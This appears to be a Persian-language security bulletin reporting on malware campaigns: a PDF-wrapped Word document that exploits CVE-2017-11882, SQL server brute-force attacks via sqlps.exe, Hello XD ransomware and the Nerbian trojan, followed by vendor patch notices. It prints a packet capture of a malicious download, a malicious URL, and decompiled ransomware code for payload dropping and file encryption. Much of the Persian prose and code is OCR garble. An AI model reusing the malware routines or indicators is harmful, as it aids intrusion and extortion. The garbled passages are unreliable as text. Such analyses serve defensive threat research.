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MALWARE

§5woo)T cugm Word wyzo (sloo bl Jsnl cgz PDF (glocuwg 51 (T 5 aS a5163,S (lulidh 1) 158150 83595 515,55 Sy o el (ylddo
ol 0340 o3lasiuel (yl)) 5

G 2929530 )5 0303) 43 (5)9002 Crlyy LI (62,00]) Cupde j5y0 9 S aSuds Gwdige S ()5 b &S Gl ool 5>
Cawl 4.;9; H1yd
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awl J9laiols g Joamoysd (59) o1 &1j93 cag> PDF (sloals

9)Sle il gz (65523 Py @ plezlge Microsoft Office wyie g 13,55 L pogas )5 Pl Ghjsel L ojgyel
lodyol (59) isiel sl@)Sal) 1 )0 g oy

©s@g)Sle (golo (sloJuld Jail cugz PDF (gloold (65,0 wlujs o) (sl 4 395 33z (il > HP Wolf Security )liixe
163,S Sl ) (diiS (50wl g Cadly)d (50)8 @ik (69) p 1) OleMbl 8y (gl )18l 5egs aS B

https://threatresearch.ext.np.com/pdf-malware-is-not-yet-dead/

PDF ;s Word (gjwl>

a5 35y9L ¢l g LoiT L3gad 50 Bl Juml Gk 51 «Remittance Invoice» b b (20 PDF (Ll 4,5 ¢l 53 (léd=e jl J& @
N3dley dgdise b PDF (b oS (olim oxdid 631> Jaml 635,05 @1 Cawgay wlmsdygo sl cob (nlodsd Jaml ¢yie 53 Vlais
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oamlie yj JSib yd aS jghilan Open File oyziy laiiliS «has been verified» 1y oddi (gilwls Jolb oL Glazlgo a5 (ol jl
U a0 b |y ghoyls 351550 ol ol .« 04 356 by (isy @350 i |y The file «has been verified» ply g0
Cawl OAI d.)lg UA)S)L) 9 Cawl b_\)S .L\JL 9 b.)h;uqu 4)_;.\20 L,,L»ls C)|9‘LC 5] |) d)ls AdObe aS .).iiS)sL;

Open File x

The fie has been verified. However POF, Jpeg, slex, .docx’ may contsin programs, macros, or viruses that
could potentially harm yoeur computer, Open the file only IF you are sure It s safie. Would you lke to:

(®) open this fle

() lweays sllow cpering fies of this type

(O iever alaw opening fles of this type

=

E9 ol 23S 8Ly Jgamo (IS Lol S Guyp R)lil L 1) PDFGodalb )3 0ads (gjlulz (glodald 3ilgie il ol Shil=s
Canl Rao OhylS I )l «oai)S ol 35S Egpib 1S I 3305 (i 9 1)l ) H953e (gl hls Jul=d (UlgS aibliieo (gloodael
<55l (Rich Text Format) RTF dB b (Jls <O il Jled log,Sle ainS )31 ¢ 2iiS ;L Microsoft Word )ljsle,s 5 1, DOCX (s

.)944)(;0 I)?l 9 kl)\éLg)J Uolb &m
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‘ Wirechark - Follow HTTP Stream (tcp.stream eq 43) - wireshark_26566628-E3E6-46BD-A405-8DEGE5093A34_20220328064011_al4864 - ] x
GET /tea_shipping/f_document_shp.doc HTTP/1.1 e
Accept: */*

User- A.gtnt Mozilla/4.8 (compatible; ms-office; MsOffice 16)

Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Host: 192.227.196.211

HTTR/1.1 288 OK

: Mon, 28 Mar 2022 1@:36:35 GMT

Apache/2.4.52 (Win64) OpenssL/1.1.1m PHP/8.1.2
Last-Modified: Wed, 23 Mar 2022 85:47:18 GMT

ETag: "5b34-5dadc42b8B6a7"

Accept-Ranges: bytes

Content-Length: 23348

Keep-Alive: timeout=5, max=180

Connection: Keep-Alive

Content-Type: applicatien/msword

19-| <%, J8103%. 4047, 27, (20%BX*AP[ (845> e,
[~3¢-3/1261%2.1]|2.027 ;<= |" ", 275"
#128[.4/%80, (12624~.0%% 42 25.~26]
>>+w_ 3 L>,@(_1>17e |9|<} /0% He .70, 12:2|+22. "<o6%' _J#. ] 2~B>]"<=18)71;%
%))'1%‘3)3!)9?_‘5-(3?83#&,7%2+k[(w’)]?>?~,f'%$3'9‘ 3,482, %27/ /871,
4),#3| 22 /8¢ 2~9%[ 24| (/BREE=(#7<< " .37 29)/9; 1. *~|$($5)[ 23275 .. 1] <.
2.<5787(24° '<_92<2" . 18(];§ %.87°7 #.3%3°.(2;7=27=-=B) 1"36.~..1);+6| .10 7_87993,?
49]772450: 2; ) -6’ _/8,12=. -*1n)<?>[.n(83]28>(~.2213¢=20.=" | $298@25%2:9. )8; - 26|~ 2-82:[77~) 28] ]. [+"#_! . 7>%
%?%=.%828[2?)41.21-/. 09, 23;240%3 ', (. 28%8| 2@3<: 090 % 24§8” 4761 ;* 4~ 1417 ( (4¥5=2@ 7% 22" 2+ﬂ2]<@(s | *69+828/<(.[!
=2%7=|.>[ (88]139<" 1 2021%-3_5.)%7:" :2_.0>17[?.?2)514<[B7)%(?72005342" ;4242,5, 511 28" 7[5, " '+-.8=9[ " -2..[1. 222,
X[2'8 ~=/4,B%9° -3.<%7>'9,7:.7|@43[: ]>58%_72~|RO.+7[>;)5 2,"+I<.~H@K 708, 'B5274/78 |X =3~ s>a~'\3 /8)@)@s5)" |<A)
[$/:<5|:%.//6.|1. x=~>asz+|=? =" -21p*3* g, "188>"13%(1]2° 'Be/ (2. ;528" ;1>>" 2. @, o703 2] | ((25.26.2=
7%7<(68]?"9.1552- 1 7<?*38-67%_9<3-1>$2 :@sisa?w‘/A 578" 127 ﬁ]>4|;=??'x?
+XBX3;$* /+|22;87736" 54,1 2~5/. [#]: >.]5Meh® 1>+45%> . 1@1)¥>3=8[82<B1" ,+" (.. /4'$- 218+, ; ' [#1;225.7882.2(/(?
<~B/SHES~" =[-48. ' 7)5. 7/ PRIKT 484 2271 [>M48EK20) [172489<R, ) >~ %t | 2.%._5.B1:01;-19( (K:.48; ~<2=3%7[_ ;]8F;7.0-
_[1.)3)-2=.=[;529)" 2. _]29;~/| )0|3%-41<5:922/ | )12-/-*)6" [ : 2113, 22(2%2/2XOK[ [R'1.[/)" _83/$5<54. 8>} .=,~)-683;13]?
‘9:*,[3!.5 -,88()->|<-8 >!+.§1'=8]2*"'821=:8"8.1"-_/;%.8]#2~|6°251=2 . 2R.: ]<[?-6.%[ ]4--<28| 58, n-21/|%]|50:3_#3.2512-

{\rt.|(@.%<?_"]?]"3,03;8=>]"-"+,3* 3‘“7)3 <aj‘>%?a|95 »a[:
747*%0_?%.% ’@1 5278.79,8+!2:7,501.887<:._~
+9]:.3~10%|
»2:.81)28, 28 ‘;m'?,.?a:]
$.%|84/77. %@~ ’7:>7+(—<3>g+7(7
12(/2[*-=282%> |6-6<#,)2@12" ' (!
4983.6%64 .::4>]]

L7322, 0/<3[1*-2%([..] 2. 3]$%84;) 1!

‘1 4a>*s )|%s=>g s@’%(a | x<a ]&3 }$ |% ] 6]$ - 7) 1=2.23/; *>$|7 STUeH4. /0", ]+.=0, ( %, +ssa 8<%,
g o ——l el bt S el 2
& pkts. & server pkiz. 11 turns.
Entire conversaton (25 kB) - Show and save data as | ASCII A
Find: | [ Fremex |
Filter Out This Stream Print Saveas.. Back Cose Help

(ol olyad @) g o 035leuS Word (Jold ) oS cuwl 5 (yloyd (ol asuis RTF (Jold cadlyys wadd 0315 (L yj pguad )3 a5 jghilas
3550 (6912655 oo ()T )3 13810 0y 35 oS «vtaurl[.Jcom/IHytw» URL (53l

$ find . -type f -exec grep -Po "\Khttps?://\Ss+?2(7=\"
http://schemas.openxmlformats.org/package/20086/relationships
http://schemas. "Lformats.org/officeDocument/2086/relationships/webSettings
http://schemas. "Lformats.org/officeDocument/2006/relationships/theme
http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings

http://schemas. Lformats.org/officeDocument/2006/relationships/styles
http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable
bt Llecbomas nar slfanmats.org/officeDocument/2086/relationships/ole0bject
https //vtaurl.com/IHytw

TP 7 seieinas  openxncrornats . org/officeDocument/2006/relationships/image

238 RCE jl (292002

Juls el (o) Sal) owgs Vlais! a5 cul (glodss (g)Siws OLE (glodalge (gols o)ls ob «f_document_shp.doc» «5 RTF 6
wlidd b a8 (gpiyeaml SO 1L ol ) plezlge o5 3iilyd HP ohSldsd gidin Gupp 1 om0 lelidd
Ol il o ¢l A e e3liiwlsgw 395 LyEe 35 (gl g Microsoft Equation Editor aeby ;> CVE-2017-11882
5292002 330 plazlge bwgs plizvad (Jg 034 @aeys WAF Jlo T > aShl 3929 b 9 30 pahd p2lge sl ) €9 ol 5 45> (gly=]

2550 )%
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Address
031F04D0
031F04E0
031F04F0
031F0500
031F0510
031F0520
031F0530( 7.
031F0540
031F0550
031F0560
031F0570
031F0580
031F0590
031F05A0
031F05B0
031F05CO
031F05D0
031F05SE0
031FO05FO| 7
031F0600
031F0610
031F0620
031F0630
031F0640
031F0650
031F0660| 78
031F0670
031F0680
031F0690( 7
031F06AD
031F06BO
031F06CO
031F06DO
031F06ED
031F06F0

] yw. S&p
....G&....GetPro
cAddress.Sed. ...
Ae....Expandenvi

MLOLN. L YRE. L.
URLDownloadToFi]
eW. Py0]. J. . TS.RE
N...h.t.t.p. /.

L .yxE.
uteE
(- - .RyD
ExitProcess
.dg v.ogas{

Dgs ecx. . ;. 1.
5 1]

51 [T UT a ol Sl Hloj ()ab (SVg9b e @ g 3)F wdz 395 w ) Lm)im 4>g3 cclinsl b1 o oldly (el ams o2

A (A WAV Jlw el (glocanis (133l
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o Microsoft Security Intelligence & @Msfts... - May 18, 2022 3

Microsoft recently observed a campaign targeting SQL servers
that, like many attacks, uses brute force methods for initial
compromise. What makes this campaign stand out is its use of
the in-box utility sqlps.exe.

Microsoft Security Intelligence 2
@MsftSecintel

Defenders typically monitor the use of PowerShell in
their environment. The sqlps.exe utility, which comes
with all versions of SQL by default, has similar
functionality and is equally worthy of increased scrutiny.
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A0 Uik Das (inli8l Cagz 3dpanio GShy 9 LGB b sz bl

51 Lol o5 33550 @Ml (LoL)S @y 4l (S as o3kl Lol jl (31 (gl Tor eeslsy colw jl ol Jls s Hello XD ,ljélzb
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Setark gsd deciied £ helg 19w, 38 WL Reggenes)

ATTENTION!

032 Cuwly Craw (50338 Caz caw Hello XD Hlj8lzb (Ransom Note) (5,Sab aacibl

O g Ll (6u89le @i Gl (UL I B aiSe Jledypue |) Volume Shadow Copy Service Gugyw Hello XD dysl olSio >
Hllab Cyze A5 sgle oS Cul G I Slo ladme uw)yp @olis AiSs0 adlal Lol eb a4 1y hello Liguwy g (6)l355e,) 1) o ol
o bl il godocauwl @i )3 3985 ez MicroBackdoor eb 4 (Backdoor) «jloweysé (suwyiuws» aalip o jI Hello XD

WinCrypt API I eslaiwl b MicroBackdoor (ply=! Jold iS50 edlaiuwl 395 51 (Sl g )3l 4365 4 (43,5 Sb g Wlygiws g2l

39‘“’&“’ d.cum C)T el OA.JE) AJ9JT )‘I o aLoldy Ogl)glig Wl 6340 dus’ 9 (S)L.ub )l}élalg Oy .).5).) 9 [RW) G)L'xf},a)

int dropEmbe:

dPayload()

HANDLE hFile; //f #1Ch] [ebp-18t

DWORD NumberOfByteswritten; //

if ( decryptEnbeddedPayload() )
Sleep(0x3EB

File = serlogon, 8x48000000u, 3u, B, 2u, @x88u, 8);// C:\Windows\System32\userlogin.exe
1f ( hF I= (HANDLE)-1 )

WriteFile(hFile, &Buffer, nNumberOfBytesToWrite, &NunberOffytesiritten, @);

CloseHandle(hFile);

return 1;

BOOL decryptEmbeddedPaylo

BYTE pbData[17]; // [¢
DWORD dwDatalen; // [«
HCRYPTPROV hProv; //
HCRYPTHASH phHash; //
HCRYPTKEY phKey; // [
BOOL v6; [/ [esp

v6 = 1;
y - 16;

strcpy((char *)pbData, "fcahincefxuuyjge”);

v6 = CryptAcquireContextW(BhProv, @, @, ©x18u, BxFEAE00);

if (v6)
(
vé = CryptCreateMash(hProv, @xBeecu, @, @, &phHash);
if (v6)
{
6 = CryptHashData(phHash, pbData, dwDat e);
1F ( v6 )
{
/6 = CryptDeriveKey(hProv, @x6801u, phHash, @, &phKey);
if ( ve
6 = CryptDecrypt(phkey, @, @, @, RBuffer, &nNumberOfBytesToMrite);
3
}
}
r paseContext(hProv, 8);
c estroyKey(phKey);
CryptDestroyHash(phHash);
return vi;
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https://en.wikipedia.org/wiki/Shadow_Copy

)’ﬂ\’TEl('i);
)

25, 16);
26);

v126 = nou(

**)(int, int, int, int *))(v18e

- 4096, 4096, 4, vi61);
29 + 497) &= ~OX80U;
*)(v120 + 447) &= ~@XBOU;

- 4096, 4096, v159, &v159);
4096 + 430221;
S -8
*)(int, int, _DWORD))(v155 - 1))(vies -
vl 0;
while ( &v160 |- &v131 );
(0x401120) ;

+ 430280) ;

409, 1, 8);

5
while ( 1vi7 );

/66 = (*(int (__cdecl **}(int,

Lf ( 1ves )
break;

*ub1++ = v66;

}

ved = (*(int (**)(void))((char
- 4 (__cdecl **)(char *,

4096;

096, 4696, 4, &v70);

67
5[415] &= ~OxB0u;

do

while

67(v50 - 4896, 4096, vea[e],

455] R= ~0x80u;

1= 871 - 32 );
(8x45FD90) 5

\Fol i | wleMbl (g)9lid Cayinl doliolo

char *))((char *)&dword_C42038 + (_DWORD)v5a)) (v62,

*)&dword_C4202C + (_DWORD)v50))();

int, int, int *))((char *)&dword_42034 + (_DWORD)vS8);

v69);

(u_’> uuw)).)ya.)) )ljélaL) sk EE SRR V] wﬁ)&)uos)ws 9 (Quuul) umwys;a_:) DA dBuwd )d 03D 4.,\9;)15.) 5Lwo s

Rabbit Cipher « Curve25519-Donna ¢ HC-128 )|

while (1)
1

File = FileW(lpstringl, @xCeae8808, @, 8, 3u, Bx8000000u, 0);
R *)wHeapFree(lpstringl);
(HANDLE)-1 )

if ( hFi
‘ GetFilesizeEx(hFile,

&1 'H
=n ;no((eneeaaau),
if( 1pBuff )

Er-v GenRandom(hProv, 0x20u, phiuffer);

[0] &= BxFBu;

curve25519_donna(o. uffer, &vas);
:urveZSSI‘BAdenna( er, curvePublickey);
sha512((int)v40, 32, (int ) )i
he128_setup_1(({H |, 2, (uint32_t *)v35, @x100u, Ox100u);
he128_setup_2((HC128_CTX ) | (uint32t *)vis);
- checksum(v35, 64);

customMenset((int)vil, @, 64u);
customMemset ({ » @, 9xdéu);
customMenset (( Vi@, @, Bx4du);
adPart = 0164;

x{ , 8164, @, 0);
.QuadPart ¢- ox1480000 )

©.QuadPart <= @x500800 )
ize.QuadPart > @ )
{

if ( FileSize.QuadPart <= 64 )

D0ODOCES encryptFiles: 125 (405053)

613550y @ig)oSIl s

|ILABEL_64:

CloseHandle )i

1f ( dword_351AB8 < 18 || (((_BY
break;

Closetandle(v79);

goto LABEL_65;

ar 1 = (BYTE *)(v90 + 2);

» = (void (_stdeall

- {1nt)pt
(hProv, exzau, phB

"(( :?" =)
(ot +)

19 + 32) &= OxFBu;
)+ 63) = *((_BYTE

curve25519_donna(v
curve2s519_donna(v1

sh: Az, 1, 32w, (Int)va3);

= rahbunpher @(vas, v2e);
w_rabbitCipher_1(v2, (int)
73 = sub_I1A37E(0x20,

*((_DWORD *)v180 + B) =

v

5 Hello XD l)slab A2 dsuwd ) plal dzg )icdls

Adbse Curve25519-Donna g

TE)dword_351ABC * ((_BYTE)dword_351ABC - 1)) & 1) == @ )

*)(HCRYPTPROV, DWORD, BYTE *))::CryptGenRandom;
*J(v9B + 2); ; pbBuFf -

1)

+ 63) & Ox3F | exde;

(int)va2

» (int)curvePublicKey);

21, v106);
9!18\1. 28135);

¥24 = sub_31A46F(v23, 64, (\ Tt)v2e);
sub_ILAA6F (v24, 64, (int)voe);

25 = { NTEGER *)v97;
*({_DWORD *)va7 + 1) = 8;
v25->LowPart = 8;
SetFllePointerEx(FileW, "v25, @, 8);

(Cawly Craw pguai) Hello XD 2.0 158120 )l3S5e) g (wiz Cow ypygas) Babuk szl 13550,

S HBI2L was asws s (File Marker) Jold )S5Wio oyl o 09le

anl 030 3698 () 1550

ol jl 395 @Vas )3 laslge g 8350 Sbihs (6)l8lab wwl Ginlaw adgl Jole )5 Hello XD aSil 3929 L pols Jlo s clply

Ve (glp 1y disoj ¢l diadi g Jled dewgd s azg5 (Jl ()

iz joio Hello XD (6,550 ¢ (;539)T tusuwg 4251355 50 o5laswl

S50 polyd j363 1S g 3SUyas
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b aisls (B3 5 1) )18l (l dswgd Cawl yigy (Sixiel o|)§ Jul=S g lddoe ol plo s <65 Hlsws
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https://unit42.paloaltonetworks.com/helloxd-ransomware/

https://www.bleepingcomputer.com/news/security/hello-xd-ransomware-now-drops-a-backdoor-while-
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395 olgis @) LT jl eslaiwleguw b lgise pzlgo 9 33,0 Hh3 50 wss |y Access Point g AP Controller «Jlgpnld Vgase
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	بر اساس مشاهدات، توزیع این تروجان‌ برای نخستین بار از 6 اردیبهشت با یک کارزار ایمیلی نه چندان حجیم آغاز شده و در پیام‌هایی به صنایع مختلف و عمدتاً در ایتالیا، اسپانیا و بریتانیا ارسال شده است.
	پیام‌های ارسالی ادعا می‌کنند که از سوی سازمان بهداشت جهانی (World Health Organization – به اختصار WHO) ارسال شده‌اند و حاوی اطلاعات مهمی در مورد ویروس COVID-19 هستند. مشابه این پیام‌ها در یک کارزار «فریب سایبری» موسوم به فیشینگ (Phishing) که در روزهای...
	در نمونه ایمیل‌های منتشر شده، ایمیل‌های ارسالی به‌گونه‌ای هستند که به نظر برسند از سوی سازمان بهداشت جهانی ارسال شده‌اند. این ایمیل‌ها از نشانی‌های who.inter.svc@gmail[.]com یا announce@who-international[.]com و تحت عنوان World Health Organization یا ...
	این ایمیل‌ها به ظاهر شامل اقدامات ایمنی مربوط به COVID-19 بوده و همچنین شامل پیوست‌هایی هستند که عبارت «covid19» در نام فایل‌ها بکار رفته است. اما در واقع فایل‌های پیوست، فایل‌های Word حاوی ماکروهای مخرب هستند.
	در صورت فعال بودن ماکروها در نرم افزار Word، با کلیک کاربر بر روی فایل‌های پیوست، اطلاعاتی در خصوص پیشگیری از  COVID-19به ویژه قرنطینه نمودن و مراقبت از افراد مبتلا به COVID-19 نمایش داده می شود. همچنین ماکرو جاسازی شده در فایل اجرا می‌شود که باعث ایج...
	محققان معتقدند که زبان برنامه‌نویسی Go، احتمالاً به دلیل یادگیری آسان و سهولت استفاده از آن، در حال تبدیل شدن به زبان محبوب مهاجمان است.
	پیچیدگی برای فرار از چنگ راهکارهای امنیتی
	به نقل از محققان، تروجانNerbian  در چندین مرحله از چند مؤلفه ضد تحلیل و چندین کتابخانه منبع باز استفاده می‌کند. در واقع، بدافزار در سه مرحله مجزا عمل می‌کند و بسیار پیچیده است. همانطور که توضیح داده شد، بدافزار با انتشار فایل مخرب فوق از طریق حملات فی...
	محققان پروف‌پوینت اظهار داشتند که این بدافزار علاوه بر ارتباط و تبادل اطلاعات با سرورهای C2، سایر کارهای معمول یک تروجان، همچون ضبط کلیدهای فشرده شده توسط کاربر (Keylogging) و تصویربرداری از صفحه نمایش (Screen Capture) را نیز به شیوه خود انجام می‌دهد....
	در خرداد 1401 شرکت‌های زیر اقدام به عرضه بروزرسانی و توصیه‌نامه امنیتی برای برخی محصولات خود کردند.
	سـیسـکو
	سوءاستفاده از ضعف‌های امنیتی ترمیم شده توسط این بروزرسانی‌ها، مهاجم را قادر به در اختیار گرفتن کنترل سامانه آسیب‌پذیر و دستیابی به اطلاعات حساس می‌کند. جزییات بیشتر آن در لینک‌ زیر قابل مطالعه است:

	ادوبـی
	گـوگـل
	مـوزیـلا
	سـوفـوس

	 در مرحله اول بسته بروزرسانی از سرور سوفوس به نشانی https://download.astaro.com/ و مسیر/UTM/v9/up2date  قابل دریافت است.
	همچنین در 19 خرداد ماه، دروپال با انتشار یک توصیه‌نامه‌ امنیتی به شماره‌ SA-CORE-2022-011، دو ضعفی امنیتی به شناسه‌های CVE-2022-31042 و CVE-2022-31043 با درجه اهمیت نسبتاً حیاتی (Moderately critical) را در پروژه Drupal Core برطرف نمود. توضیحات کامل در...
	سیتریکس
	در چهارم خرداد ماه، شرکت سیتریکس (Citrix Systems, Inc.) نیز با عرضه بروزرسانی‌های امنیتی، دو آسیب‌پذیری با شناسه‌های CVE-2022-27507 و CVE-2022-27508 را در Citrix ADC و Citrix Gateway ترمیم کرد. مهاجم می‌تواند از این ضعف‌های امنیتی برای کنترل سیستم آسی...
	همچنین این شرکت در 24 خرداد، دو ضعف امنیتی با شناسه‌های CVE-2022-27511 و CVE-2022-27512 را در Citrix Application Delivery Management برطرف کرده است. توضیحات کامل درخصوص این بروزرسانی و آسیب‌پذیری‌های مربوطه در نشانی زیر قابل مطالعه است:
	اس‌ای‌پی (SAP SE) نیز در 24 خرداد 1401 با انتشار مجموعه‌اصلاحیه‌هایی، 10 آسیب‌پذیری را در چندین محصول خود برطرف کرد. درجه اهمیت دو مورد از این ضعف‌های امنیتی «بالا» گزارش شده است. توصیه می‌شود با مراجعه به نشانی زیر، جزئیات مربوطه مطالعه و بروزرسانی ا...


